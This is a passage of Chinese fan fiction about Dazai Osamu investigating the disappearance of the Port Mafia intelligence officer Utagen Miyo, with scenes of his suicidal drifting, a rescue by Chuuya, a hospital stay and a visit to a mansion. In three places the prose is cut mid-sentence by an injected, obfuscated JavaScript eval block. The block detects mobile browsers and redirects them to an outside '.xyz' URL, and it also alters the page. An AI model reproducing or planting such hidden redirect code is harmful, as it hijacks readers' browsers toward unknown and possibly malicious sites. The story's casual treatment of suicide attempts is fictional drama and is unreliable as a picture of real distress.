“她这么说着,我却觉得十分怪异。我时常会想,那时的我明知道离开是不可能、也不是个好主意,为什么还执意要离开黑手党?是因为爱情?还是因为希望?”她看向太宰治,目光锋芒毕露:“不——都不是,是因为宇多源美代。” “宇多源美代对我做了什么——我非常确定。”尾崎红叶捧着茶水安静地坐着,但是属于干部的气势却直逼人心。 “受到的攻击加倍奉还,这是黑手党的准则。我并不怀疑宇多源美代制定的计划,即使在今天的我看来那份出逃计划也没有任何问题,但是,我确信宇多源美代当年确实利用我做了一些事情,我要知道那是什么,以及——” “宇多源美代究竟有何目的。” 8. 宇多源美代03 不得不说,尾崎红叶的秘密确实诱人,但太宰治却是非常擅长得寸进尺的人。在与尾崎红叶讨价还价了一大堆没什么用处的“利益”之后,太宰治终于答应接下尾崎红叶的“私人委托”。 尾崎红叶挥动和服的衣袖离开了这间狭小的公寓,瞬间太宰治又恢复了孤身一人的状态。他靠着衣柜盘腿坐在地上,既不想站起来工作,也不愿意挪动身体移动到更适宜人“坐”的沙发上。 一种难以言喻的情绪袭击了他,太宰治可以十分清晰地察觉到。或许和前几日服下的危险药物有关,或许和刚刚人口密集时难以呼吸的恶心和眩晕感有关,也或许只是他久未进食的身躯在单纯地进行抗议和报复。 总而言之,太宰治现在没有动力。他的头靠着衣柜,目光涣散,没有精神,却不觉得困倦——准确来说,他处于一种精力十足却难以动弹的奇怪状态。 宇多源美代,太宰治在头脑中一遍又一遍咀嚼这个名字。 札幌出身,1993年加入港口黑手党,时年22岁。在家乡北海道攻读了小学和中学后,由于家庭变故无法承担学费,开始投入工作,最初在东京做销售,很快无法负担大城市的开支,转移到横滨,在居酒屋做招待的时候被卷入黑手党斗争,最后经人引荐加入港口黑手党,由于文化水平不错进入情报部工作。 然后一干就是十年。 十年,对于时常陷入火拼的黑手党来说是个相当长的时间了,更不用说她这十年还经历了老首领的疯狂和森首领的清洗,还有现在和其他组织的冲突…… 太宰治不由自主地跑了个神,没有异能力、格斗水平也非常一般的女性,要怎样才能在黑手党的诸番变乱中保全自身十年? 宇多源美代真的只是个普通人吗?如果不是的话,她的目的是什么?如果是的话……她又为何会加入港口黑手党?虽然文凭不高,但放在十年前足够在横滨谋一份普通工作,哪怕被卷入黑手党纷争,但是十年前的横滨治安还算不错,黑手党远不及今日这般嚣张,寻求警方的庇护,或者干脆搬家也不是什么难事。 为何来到这里,为何不曾离开,以及为何要冒着生命危险为别人策划一场叛逃? 金钱、权力?还是友谊、情感? 不,都不是。根据尾崎红叶的描述,宇多源美代并非物欲丰富的人,她穿着朴素,没有什么特殊的嗜好,虽然沾染烟酒,但是对于品牌并不挑剔。待人和善,人缘还算不错,但由于本人沉默寡言,并没有特别要好的朋友。哪怕是被她帮助策划出逃的尾崎红叶,后来再见面她也只是点头之交。 她与众人、与黑手党、与世界保持着一种相敬如宾的疏离感,这样也可以,那样也不错,怎样都无所谓,宛如舞台剧上的群像人偶,毫无反抗地接受了命运的操纵,心甘情愿地度过了无用的一生。 宇多源美代,究竟为何活着? “太宰君,你为何一直寻死?” 昏暗杂乱的房间内,穿着白大褂的男人嘴角含笑地问他。 他的面容还十分年轻,紫色的眼睛像水晶一样漂亮,哪怕下巴带着不修边幅的胡茬,都难以掩盖周身优雅的气度。 但是太宰治知道,这个模样俊美的男人是如何用一把手术刀彬彬有礼地割开老首领的喉咙,踏着鲜血成为港口黑手党的新任领袖。又是如何孜孜不倦宛如机器一样辛勤工作,把港口黑手党变成他说一不二的铁通牢笼。 金钱、权力、恐惧、敬畏。 力量让人上瘾,让人堕落,让人甘之如饴。 但这与太宰治无关。 这些都无法解答他的困惑。 “森先生。”太宰治依稀记得自己是这样回答的,“你真的觉得,人活着是有某种意义的吗?” 没有意义,因为如果有的话,为何我寻觅不到? 但是如果人活着没有意义,那么“活着”这件事又为何要存在? 无法接受……唯独这个无法接受…… 太宰治动了动胳膊,任由身体朝一侧滑倒,摔在柔软的地毯上。地板在他的视野中竖立起来,但是哪怕一切天翻地覆,对他来说仍是完全相同的东西。 “啊啊——”他发出意义不明的感叹,“好想自杀啊……” “下雨了,河水涨起来了,正好……” 他摇摇晃晃地起身,黑色的大衣笼罩了他瘦削的身躯,却为他营造出危险的氛围,让他与横滨的夜色完美融合在一起,仿佛他生来便被这个世界接纳。 自那天以后,太宰治的部下已经24小时未能联系到他们的上司了。 失踪,对于其他黑手党来说或许意味着危险和不幸,但是对于太宰治来说,则是再普通不过的家常便饭。 太宰治的部下在苦苦等待上司8小时,拨打上司的电话8小时,沿河寻找上司8小时无果后,不得不迫于压力求助于可能知道上司下落的人。 这就是为何中原中也会在雨中出现在河畔的原因。 此时,大雨正从天而降,仿佛氛围终于酝酿到位,今日的雨来得比前几日都要凶猛,哗啦哗啦倾盆而下,在空中支撑一片灰色的水帘,让一切的景象都氤氲在这灰色的雨水中。 中原中也特立独行的没有撑伞,重力异能操纵着隔离了雨水的侵染,在他周身形成一片浅红色的微光,在这昏暗的雨幕中摇曳变动,成为唯一的光源。 他在一条窄河旁的长椅上找到了失踪的太宰治,他像一滩淤泥一样摊在长椅上,黑色的大衣将他从头到脚地盖严,不知是被当作了雨伞,还是被当作了棉被。 亦或者是他期待已久的棺木。 “喂,太宰,起来了。” 中原中也站在旁边盯着长椅上的这一堆“东西”。得益于常年的自杀活动和挑剔的饮食习惯,太宰治非常瘦,放在平时还可以靠这漆黑的大衣撑一撑气势,但是当他湿哒哒地躺在长椅上时,起伏的弧度却暴露了他的虚弱。 他把自己蜷缩进这不算大的长椅上,胸口朝下贴着椅子,若是不加注意,根本不会察觉到这件大衣下面,居然还有一个活生生的“人类”存在。 “别逼我动手,太宰治,你的部下找你一天了,首领给你派了任务吧?既然接了就好好干,别偷懒。” 中原中也的语气充满了不耐烦,毕竟谁都不愿意在大雨天出门找人,尤其要寻找的还是自己讨厌的搭档。 但是,仿佛故意气他似的,长椅上的那摊东西仍旧一动不动,死了一般的安静。 不会真的死了吧?中原中也突然感到不安,还是说太宰治在故意整他,衣服下面其实是个稻草人? 他犹豫着伸手,抓住大衣的领口,小心地避开和“人间失格”接触的可能性,然后用力猛地一掀—— “什么啊,你不是就在这里吗。” 中原中也看到了太宰治。 他的头埋在双臂之间,头发淋透了雨,湿漉漉地贴在脸上,看不清楚神情,中原中也甚至不确定他是否醒着。 “中也啊,好烦,一大清早就听到蛞蝓在叫,明明是超小只的体型,为什么可以发出这么聒噪的噪音啊。”太宰治连绵不休地抱怨着。 “谁管你啊!” 或许是因为太宰治罕见的只是逞口头英雄,没有露出他那副惹人讨厌的嘴脸来,中原中也难得没有跟他在雨天动起手来,只是大手一挥,将那件黑色大衣重新盖回太宰治身上,勉强为他遮挡一些雨水。 他用手机通知了太宰治的部下开车来接他们难搞的上司,自觉仁至义尽便打算离开:“一会会有人来接你,不要乱跑了。” 太宰治仍旧一动不动,仿佛一具乖巧的尸体,“怎么,中也有任务吗?” “仓库那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706462|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边出了点事,有人袭击,虽然损失不大,但是黑手党的威严不容挑衅,我去看看怎么回事。” “原来如此,蛞蝓的脑容量也就只能干这种没有技术含量的小事啦。” “哈?你想死吗?!”中原中也踹了一脚长椅,太宰治的大衣随着震动滑落了一些,露出一些黑色的发丝。 “对了,中也,来的时候你有看见其他人吗?” “什么?”中原中也低头看去,太宰治不知道什么时候调整了姿势,一只眼睛透过头发和大衣的缝隙露出来,一眨不眨地盯着他。 太宰治的眼睛并非纯正的黑色,而是亚洲人特有的棕色,遇到强光颜色就会变得浅淡,有时还会流露出一些令人恐惧的红色,而在光线不足的时候——比如现在,就会显得非常逼近于黑色,像未知的黑暗一样令人惊惧不安。 中原中也不喜欢他这种冰冷的、估量的、计算的目光,他不自在地移开视线,环顾四周,“除了你谁会在大雨天往外跑啊,没有别人了。” “这样啊……”太宰治垂下眼眸,遮住了那令人恐惧的眼神。 “怎么了?” “唔,入水的时候好像看见一个人,醒来以后就从水里跑到长椅上了。” “有人救了你?”中原中也想了想,“怎么,你是要报恩吗?黑手党的报恩?” 他讲了个冷笑话,但是太宰治却没有笑。他的思绪随着记忆的翻阅正在沿着时间轴倒退,一直退到他的躯壳还在河水中漂浮,退到大雨还未倾盆而下。 冰冷的河水环绕着他,轻微的窒息感反而让他感到安全,隔着河水凝望两岸的风景,光线经水面的折射呈现出波光粼粼的曲折,让一切宛如被封在琉璃中一样梦幻。 太宰治与河水同行,现实世界在此刻被从他身上剥离,成为可以观测、计算的一场棋局,而他本人则在这种剥离中获得了自身非凡的意义与价值。 然而,就在他品味这来之不易的独属于他的幸福感时,一场雨突然造访,雨水从天空坠落,砸进河面,在表面泛起层层涟漪,连带着河流两岸的风景也不断波动。雨珠仿佛拨弦手,让一切以相同的频率颤动,万物的联系在此刻具象化成声波的传递,连带着太宰治的心脏也随之震动。 就在太宰治再度接近死亡时,一道不同寻常的色彩闯入他模糊的视野。 红色,鲜艳的、明亮的红色。 伫立在桥上,随着河水的流动向他靠近。 宛如通红的朝阳,诡谲的落日,奔流的鲜血,邪魅的脏器。 那红色与他对视,在空中跃起,然后随雨水坠入河中,朝他而来。 “红色的……头发吗?还是雨伞?”太宰治的呢喃声湮没在雨中。 是人类?还是妖魔? 是血肉之躯?还是行尸走肉? “太宰?”中原中也见他不出声,疑惑地喊了一句。 太宰治的思绪被从回忆中拉回现实,他眨了眨眼,将滑入眼眶的雨水逼出来。他从长椅上坐起来,黑色的大衣披在肩上,虽然被淋得狼狈不堪,气势却一如既往。 “没事了?”这副样子倒是中原中也熟悉的。 “唔……找到一点还算有趣的东西。”太宰治眨眨眼,嘴角噙着笑意,却不怀什么好意,“对了,中也,关于那个仓库……靠近些,有些事情我要告诉你。” “什么?”中原中也俯下身来。 “骗你的。” 太宰治眼疾手快地趁机抓住中原中也的手腕,环绕着中原中也身边的重力操纵的红光闪了一下,然后消失不见,被隔离许久的雨水汹涌而至,转眼间就将中原中也淋透。 湿冷粘腻的触觉浸染了每一寸皮肤。 他现在和太宰治一样狼狈不堪了。 “太宰治!”中原中也咬牙切齿地盯着他,“我要宰了你!” 9. 宇多源美代04 托太宰治的福,中原中也的任务罕见的迟到了半个小时,而太宰治本人,更是在被揍了一顿后由部下带去了医院包扎。 换掉湿透的衣服,冲热水澡,重新打好绷带,把自己裹紧干净清爽却死气沉沉的黑色大衣里。然后不出意外的,在水里泡了一天的太宰治在第二天获得了身体39度高热的抗议,然后被再次送入医院,挂上了吊瓶。 他的额头滚烫,脸颊泛着不正常的红晕,嘴唇却十分苍白,他的双眼目光涣散,呈现出一种深潭般的漆黑,空洞且可怖,让人毛骨悚然。 太宰治坐在病床上打吊针,寒意通过河水渗入到了无法拔除的骨髓深处,哪怕经过热水的熏蒸、用大衣包裹的严严实实,也依旧觉得由内而外的寒冷。 液体随着输液管一点一点被进入他的手臂、血管和心脏,让这副内部早已朽烂的皮囊重新充盈起来,恍惚间太宰治突然觉得自己的灵魂并不在这里,而是早已在昨日随河流快乐地远去,奔向长满箱根草和樱桃的小岛,这里有的只有一个被液体充满、如同装满水的气球一样臃肿的皮囊。 “怎么生病了还是一副冷冰冰的样子?难怪你的那些部下怕得不行,调查结果都传到我这里来了。” 一个熟悉的女声传来,太宰治回过神,生病让他四肢沉重,懒得动弹,于是只象征性地动了动眼皮,抬眼望去。 尾崎红叶穿着红色的和服,披着樱花色的外褂站在病房门口,她的脚步十分轻盈,没有发出一点响动,那时暗杀者经年累月留下的习惯。 太宰治看着她怀里的文件,问道:“有结果了?” “嗯,有了哦。”尾崎红叶款款走进门来,优雅地坐在旁边的小沙发上,将手中的几张纸递给太宰治,“你的部下效率很高嘛,一晚上的时间就把你要找的地方都标出来了。” 太宰治低头安静地翻动着情报,也不知道是否是因为生病没有力气的缘故,此刻他难得没有刻薄地讥讽几句,呈现出一种难得的乖巧。 “为什么想要寻找香樟树?”尾崎红叶自顾自地倒了一杯水,捧在手中问。 “……因为鞋子。”太宰治回答,“宇多源美代的鞋子外沿上有一些奇怪的痕迹,像油漆但又不是,那是香樟树果实被踩时爆出的果浆。” “横滨是个被开发的非常现代化的城市,电线杆取代了街景绿植,大型树木并不算多,就算有也大多是樱花树,香樟树这种小众的类型并不得横滨人喜爱。” “不管是总部还是宇多源美代负责的街区,都不是种有香樟树的地方。宇多源美代鞋底上香樟籽的痕迹并不算少,而且不止一双鞋底沾了这种果浆。” 太宰治顿了顿,继续道:“她一定时常地、经常地前往某个种有香樟树的地方。” “而那便有可能是美代藏起来的‘安全屋’。”尾崎红叶说完,不由心生赞叹,“不愧是你,太宰治。” “那么,你能看出来这里面哪个是属于宇多源美代的香樟树吗?”尾崎红叶接着问。 太宰治看着手中的文件,垂眸不语,过了一会才慢悠悠地道:“我又不是哆啦A梦……红叶姐认识宇多源美代这么多年都不了解她的性格,我怎么可能一下子推断出来。” “查监控吧,这是情报部的拿手好戏,不是吗?”太宰治把情报扔在一旁,“而且红叶姐还是更想亲自确认宇多源美代的情况吧?毕竟——” 他拉长了尾音,因生病而沙哑的嗓子变得模糊而干涩,太宰治扭转僵硬的脖子看向窗外,连绵的阴雨持续地笼罩着横滨这座港口城市,让一切都蒙上一层忧郁的色调。 “……说不定就是最后一面了。” 病房里突然变得十分安静。 尾崎红叶放下手中的水杯,陶瓷杯底和木制桌面发出咔哒的碰撞,她双手交叠放在膝上,坐姿挺拔,宛如即将出鞘的利刃。 “此话怎讲?” 太宰治回头看了她一眼,高热并未影响他的大脑,太宰治的思维依旧十分敏锐:“宇多源美代的失踪无非两种情况——主动的和被动的,但是无论哪种情况,宇多源美代都失去了活下来的可能性。” “如果她是主动选择的失踪,也就是说宇多源美代选择了叛变,那么促使她作出这一决策的原因是什么呢?”太宰治慢条斯理地解释道,“很简单——因为那份文件,文件中有迫使宇多源美代不得不选择叛变的原因,而这很有可能与森先生本人有关。” “知道了首领的秘密,在我们这行等同于死亡,宇多源美代在港口黑手党干了多年,或许她无欲无求,但面对生存和死亡的抉择,大部分人都是希望能活下去的。” 除了他自己,太宰治心想。 他只渴求,也只有他渴求死亡的降临。 “但她知道了不该知道的东西,所以她注定无法成功叛逃——森先生不会允许这个,她的结局只有死亡。”太宰治盯着神情严肃,肌肉紧绷的尾崎红叶,“因此,如果宇多源美代是主动失踪的,那么她的结局只有一个——被我找到,被你处决。” 尾崎红叶沉默片刻,回避了这个结局:“……继续。” “而如果她是被动的,也就是说有人介入带走了宇多源美代,那么在这个时候突然绑走一位情报人员的原因也很好猜——也是因为那份文件,有人想知道港口黑手党的秘密。” “如果宇多源美代吐露了情报,那么她的行为等同于背叛,不管敌人是因为她失去价值杀了她,还是选择大发慈悲放她一马,至少港口黑手党不会纵容叛徒活下去。而如果她没有吐露情报——” “唔,这个有点不太可能,宇多源美代的落脚点没有被翻动的痕迹,如果她什么都没说,那么敌人至少会探查一下她的住所,但是无论哪个落脚点都没有被翻动过的痕迹。”太宰治回忆道,“而且根据红叶姐你对宇多源美代的了解……她真的是那种能够誓死为黑手党保守秘密的类型吗?” 不是,宇多源美代并非忠诚之人。 尾崎红叶沉默不语,但是太宰治已经从她的态度中获得了答案。 “当然啦,也有可能是宇多源美代和敌人合作演戏,她没有看过文件的内容,也没有让别人看过,她们只是想要凭借那份机密文件威胁一下港口黑手党,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706463|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捞点好处,不过——” “美代不是那样的人。”尾崎红叶开口道,她的语气有些急切,仿佛在下意识否定什么,缓了缓之后,她才恢复了惯有的平静,“而且……港口黑手党不会受到他人的威胁,我们只会铲除威胁本身。” “……没错。”太宰治的眼眸变得黝黑,宛如潭水一般死气沉沉,没有一丝涟漪和光亮,“宇多源美代的死路,在她得到那份文件时便已注定。” “那么,尾崎红叶,你的决定呢?” 太宰治直勾勾地盯着尾崎红叶,他的声音如同来自地狱的回响,带着令人胆战心惊的颤音,让人不由自主地陷入最为恐怖的想象之中。黑手党之中有不少人曾猜测他有着某种精神类的异能力,甚至有人信誓旦旦地担保他一定是复合异能力者,但是尾崎红叶清楚的知道这一切都不过是流言蜚语,太宰治只不不过是过于擅长揣测人心罢了。 揣摩、猜测、推断、引诱、操纵…… 他玩弄人类就像猫玩弄它的猎物一样天真而残忍,哪怕鲜血淋漓,也只是理所当然的生存法则。 天生的黑手党。 尾崎红叶闭了闭眼,做出决断:“港口黑手党不允许挑衅,也不容许背叛。如果宇多源美代走错了道路……我会‘拯救’她。” “是吗。”太宰治不置可否。 如何拯救?从何处拯救? 死亡是救赎吗?自由是救赎吗?离开黑夜,前往白昼生活算是救赎吗? 甚至宇多源美代当年为尾崎红叶策划的出逃方案,那算得上是一种“拯救”吗? 太宰治看着下定决心的尾崎红叶,尽管沉沦深渊多年,尾崎红叶依旧十分年轻,她的资历和气质市场让人忽略她的年龄,但是在此刻,在此际,透过她热烈的鲜红色的和服和樱色的外褂,太宰治看到她依旧热烈张扬的灵魂。 太宰治移开了目光,他放松身体,向后倒去,陷入叠在病床头的被子里,柔软的棉花将他接住,仿佛接住一只下坠的鸟。 “随便吧,等监控录像有线索了再叫我吧。”他懒洋洋地拖着长音道,“我可是病号呢……不想工作啊,明明小矮子也淋了雨,为什么蛞蝓不会生病?果然笨蛋不会生病吗?” “既然生病了,要不要喝蟹肉粥?”尾崎红叶突然道。 “嗯?”太宰治转过脑袋,松软的棉被挡住了他的一部分视线,也让陷在棉被里的太宰治的目光变得若隐若现,“可以吗?” “可以哦,太宰不是生病了吗?病号可以有有待哦。”尾崎红叶掩面轻笑,丝毫看不出刚才的动摇和决断,“我叫人送来,就当是一部分报酬吧。” 她优雅地起身,抬手整理和服的衣襟和腰带,随后款款离去,红白相间的和服渐行渐远,最终消失在病房的门后。 太宰治收回目光,仰面躺在病床上,洁白的天花板让人觉得厌倦,空气中的消毒水味更是令人作呕。 冰冷的液体随着血管充盈他的身躯,异物的造访让他恍惚间有种被拆皮扒骨、做成标本的错觉。 人偶一样。 太宰治缓缓阖上双眼。 10. 宇多源美代05 尾崎红叶的速度很快。只一天过去,就传来了好消息。 “看看吧,太宰,事情变得难办起来了。” 情报部内,尾崎红叶匆匆扔给太宰治一份文件,便给自己倒了一杯茶水,一饮而尽。太宰治注意到尾崎红叶眼底有明显的青黑,眉目之间带着倦意。 太宰治点开录像,这个街头监控已经有些年头了,黑白的画面模糊不清,但能看出来是在某个街道的拐角。监控器下面有一台自动贩售机,依靠旁边居酒屋传来的灯光,勉强可以看到黑暗中站立的人。 一个女人,中等体型,看轮廓还很年轻,穿着深色的毛衣和长裤,外面却披了一件似乎是校服一样的白色西装外套,有些偏小的号码让她看起来十分局促。 她的长发披散着,看不清楚面容和神态,但是依照姿势推断,她的目光此刻正凝望着旁边的自动贩售机橱窗。 幽白的光落在距她一步之遥的地面上,但是女人却一动不动地站在黑暗中,隔空凝视着那翻出白光的神秘机器,久久不言不语。 她的周围流露出一种十分哀伤的氛围。居酒屋中喧闹的人影变幻莫测,使得映照在她身上的浅黄色的灯光也时有时无,女人虽然站着一动不动,但是身影却在光线的魔术中变幻莫测。 最终,她似乎终于看够了这台机器,抬起头来。一张苍白的、清秀的、仿佛死人一般无助的面容映照在监控上,那双深色的眼眸瞳孔涣散,然后在某个瞬间,似乎意识到有人将在未来通过监控凝视她一般,那双无神的眼睛慢慢聚焦,然后—— 望了过来。 一种被妖魔盯上的恐怖感油然而生。 女人凝视着监控,与太宰治隔着时间与屏幕对视,随后她歪了歪脑袋,黑色的长发自肩膀滑落,嘴角慢慢勾起一抹意味不明的微笑。 滋啦——滋啦—— 监控画面被干扰出现波动。 在画面的最后,太宰治看到的是女人离去的身影,似乎是找到了自己的目的,她拖沓着脚步朝着某个方向前进。 滋啦—— 一片黑白的雪花闪过,画面彻底熄灭,陷入一片漆黑。 太宰治看着漆黑的屏幕陷入思考,“有趣,那就是宇多源美代?” “没错,虽然和往日在港口黑手党的模样相去甚远,但那确实是宇多源美代,我不会认错。”尾崎红叶开口道,“监控位于港口附近的一家居酒屋的后巷,本来是防治有人盗窃自动贩售机的,年久失修后因为连绵的阴雨进了水,后面彻底坏掉了。” 太宰治不置可否,已然黑屏的录像带映照着他思考的样子,大病初愈的苍白面色令他不由自主地联想到刚刚监控画面中的女人。他试着去凝视画面中的自己,哪怕一只眼睛被绷带包裹,露出的那只眼眸也漆黑幽邃,令人胆寒。 黑手党,不外如此。 “从画面来看,宇多源美代此刻是自由的,她并未受到第三方的威胁或强迫。”太宰治道,“但是精神状态不佳,她一直在走神……状态与平常差异巨大,不排除受到精神类异能力的操控或干扰。” 通过黑屏的监控画面,太宰治看到位于他身后的尾崎红叶眉头紧锁。 “这是什么时候的监控画面?” “……3月11日,这是唯一拍到宇多源美代的画面。”尾崎红叶的声音有些干涩。 太宰治睁大了眼睛,“那不是……” “没错,是宇多源美代上报失踪的第二天,也是你从首领那里街道调查任务的当天。”尾崎红叶面色十分难看,“你觉得……这是录像是故意留给我们的可能性有多大?” “宇多源美代最晚于10日确认失踪,也就是说录像中的宇多源美代应当正处于‘失踪’状态。如果她是被迫的,那么说明敌人有着控制宇多源美代的特殊手段,并且他们十分自信,才会允许宇多源美代这样在外游荡。” “如果宇多源美代是自愿的……那么留下这则录像的她,究竟是真的想要彻底消失?还是希望能被我们找到?” 太宰治说出了他的猜测,尾崎红叶却没有给出回答,情报室内陷入一片可怕的安静,两人都在此刻敏锐地意识到了太宰治没有给出的另一种可能性—— 如果这一切都只是宇多源美代本人的“计划”呢? 毕竟,她可是当年策划了尾崎红叶出逃的情报人员。 “宇多源美代前往的方向调查过了吗?”太宰治问。 尾崎红叶喝了一口茶,“查过了,是一幢洋房公馆,正在对外出租招收租客,公馆后面有一个小花园,种着少见的香樟树,香樟籽落了一地。” “看来那就是宇多源美代真正的落脚点了。”太宰治想了想,突然笑了一下,“那我出发啦,红叶姐,你要一起来吗?我有预感,今天会有有趣的事情发生哦。” “……我就不去了。”尾崎红叶揉了揉眉心,“这是首领交给你的任务,我只负责情报支援就够了。” “只是看个监控,有这么累吗?”太宰治奇怪地看着她,“你总不会亲自看完了所有的监控录像吧?” “怎么会,我是有下属的人。”尾崎红叶无语地看着他,“是别的事情,有人袭击了□□的仓库,中也去调查了,情报部需要收集袭击者的信息,还要统计受损的货物。” “啊,那个啊。”太宰治想起来了,那天中原中也确实有说过这么一回事。 尾崎红叶犹豫了一下,提醒道:“袭击者或许和最近闹得沸沸扬扬的食脑魔有关,横滨的夜晚最近可不安分,你听说过那个传闻吧?” “吃人大脑的妖怪?”太宰治问,“据说受害者的头盖骨都被暴力掀开,大脑不翼而飞,其他的身体部分完好无损——啊,致命伤不算。” 太宰治回忆了一下那些道听途说的传闻,突然笑了起来,像谈论天气的绅士一样侃侃而谈起来:“说起来确实很奇怪呢,大脑虽然是人体最精密的器官,但却是人体中最不值钱的东西。肾脏、肝脏、胰脏、心脏、眼睛、骨髓,甚至血液都比这东西在黑市的价格高。” “‘你的脑子很聪明’、‘我喜欢你的脑子’、‘你的头脑很灵光’,人类称赞一个人的智慧往往会从他的大脑出发,事实也如此,人脑是意识产生的物质器官,没有大脑就没有人类意识,没有意识人类就只是一具毫无价值的空壳。在此意义上人脑确实价值无双,但是一旦人脑脱离了人体,意识就会消失。” “没有价值。”太宰治残酷地做出判断,“单纯的大脑没有任何价值,有价值的是人脑产生的各类意识。食脑魔——这个称呼确实恰到好处,毕竟除了妖魔以外,不会再有什么人单纯对大脑本身感兴趣了吧。” “是吗。”尾崎红叶顿了顿,将视线从他身上移开,“我会转告给中也的。” “噫!才不要,这样一说搞得我好像刻意在帮小矮子一样,好恶心啊!”太宰治一副吞了苍蝇的表情,“红叶姐,你这可是在恩将仇报!” 尾崎红叶眉眼弯弯,笑着说:“哎呀,那也没办法嘛,首领说过要以组织的利益为重,妾身得到这样‘好脑子’给出的情报,怎么能浪费呢。” “加油哦,太宰。”她笑着对太宰治说,声音却如同漂浮在空中的羽毛一样悠远,令人捉摸不住。 “美代的事情就拜托你了。” 或许是情报部的空气太过浑浊,或许是光线太过昏暗,也可能是太宰治依旧在受到前几日自杀时吞服的药物的影响,尾崎红叶轻飘飘的话语仿佛当头棒喝,让他的意识也跟着浮在空中,不落实地。 等太宰治再度回过神来时,他的身体已经自动坐在了前往宇多源美代最后出现地方的汽车里。 轿车内皮革的味道很重,浓郁的香水味非但未能清新空气,反而和硝烟与机油与鲜血的味道混杂在一起,凝固成一团散发着怪异味道的空气。太宰治屏息了一会,打开车窗,任由车外细小的雨丝吹进车里,落在旁边的座椅上。 前方传来部下欲言又止的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706464|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,饱含多重意味的视线让太宰治觉得厌烦。 “闭嘴,开车。”在下属开口前,太宰治又一次提前制止了他已到嘴边的话。 太宰治拿起旁边的文件,里面是关于宇多源美代最后前往方向的调查。 未来公馆,原名香樟公馆,在新房主入住后被改了个意味不明的名字。当然,这幢洋房公馆在横滨还有另外一个更加响亮的名字——形骸馆。 太宰治会想起他还未来到横滨时就听说过的杀人案,没想到这次居然能够造访传闻中的“杀人”公馆,这算不算是一种公费旅游? 太宰治被自己丰富的联想能力逗乐,但很快还未昂扬起来的情绪就再度地沉下去。左右不过是些被媒体编造的噱头,没什么新奇的东西。 那么,宇多源美代知道那幢洋房的故事吗? 一定知道,作为在横滨工作十数年的黑手党,还是情报人员,不可能在租房之前不调查清楚。 那么,宇多源美代是如何看待这幢公馆的呢?她选择租在此地,究竟是何原因? 太宰治望着窗外斜斜的雨丝思考着,汽车平稳地在街道中飞驰,溅起的水花漫上路沿石。载着黑手党的轿车沿河畔的街道逆流而上,抵达日之出町,穿过居酒屋朝里走,经过一段上坡路后,他们抵达了那幢刻着白色巴洛克浮雕的、绿植中盛开着粉白色的小花的洋房公馆。 “上一任房主在去年已经逝世,新主人是前几日刚来横滨的新人,就住在宇多源美代的隔壁,应该也是最后见到她的人。”部下一面给太宰治撑伞,一面小声地在旁边汇报工作,“我们已经抓住了他,但是无论如何他都否认宇多源美代在前几日回来的事,只是一味地说‘不可能’,是我们‘搞错了’。” 太宰治斜了他一眼,道:“伞。” 部下撑伞的手一抖,更多的雨丝从伞面下斜斜落在太宰治的黑色大衣上。部下的面色肉眼可见苍白起来,额头甚至开始冒出冷汗。 太宰治盯着他,直到他颤颤巍巍地把伞撑到合适的高度,才移开骇人的目光,“继续说。” “宇多源美代的房间已经被租给了新客,那人不在,我们翻过了房间,东西都已经被换掉了。” 太宰治问:“房东换的?” “是的,他坚称宇多源美代不会再续租了,所以全部换掉了……”到了公关门口,部下小心地收起伞,没让一丝雨滴落在太宰治的衣服上,他跟在太宰治身后进入洋房公馆,“我们按照惯例对他进行了‘问话’,但是那家伙一个字都不说……” 踏过吱呀作响的木制楼梯,太宰治抵达了三楼的房间。面前是通往露天阳台的隔断门,太宰治知道那扇门的背后有盛开着粉白色小花的绿植,浪漫而优雅。 是个一跃而下的好地方。 但是,他并不打算推门而进,太宰治顿了顿,目光转向西侧的走廊。他的脚尖一转,径直深入,越过门口守备的部下,推门而入。 光线透过走廊的玻璃窗自他身后射入房间,此时此刻,连绵的阴雨罕见的停歇,一缕阳光自层层叠叠的乌云中探出头来。 太宰治逆光的身影在此刻显得神秘且危险,沉重的压迫感如海水般扑面而来,让人无法呼吸。 但是,正是由于光线的照射,太宰治可以轻易地看清楚绑在椅子上的、正对着他、直面光线的那名少年。 他有一头柔顺的黑色长发,此刻正狼狈地垂在肩膀上,丝绸一般滑落、披在身后。他的双手被绳子绑走椅子背后,肩膀不得不向外打开,脖颈无力地垂下,刘海掩盖住了大部分的面容,但随着太宰治的到来,那张脸缓缓抬起,迎着光呈现在太宰治的面前。 一个面色苍白,目光空洞,神情冷漠的“人偶”。 见太宰治到来,那双深蓝色的,浓郁如深潭,一不小心就会将其当作黑色的眼眸逐渐聚焦,对准了太宰治,随后—— 那人露出了一个欢欣的、亲切的、满足的笑容。 “你好。”他说。 11. 宇多源美代06 一个小时前,日之出町,未来公馆。 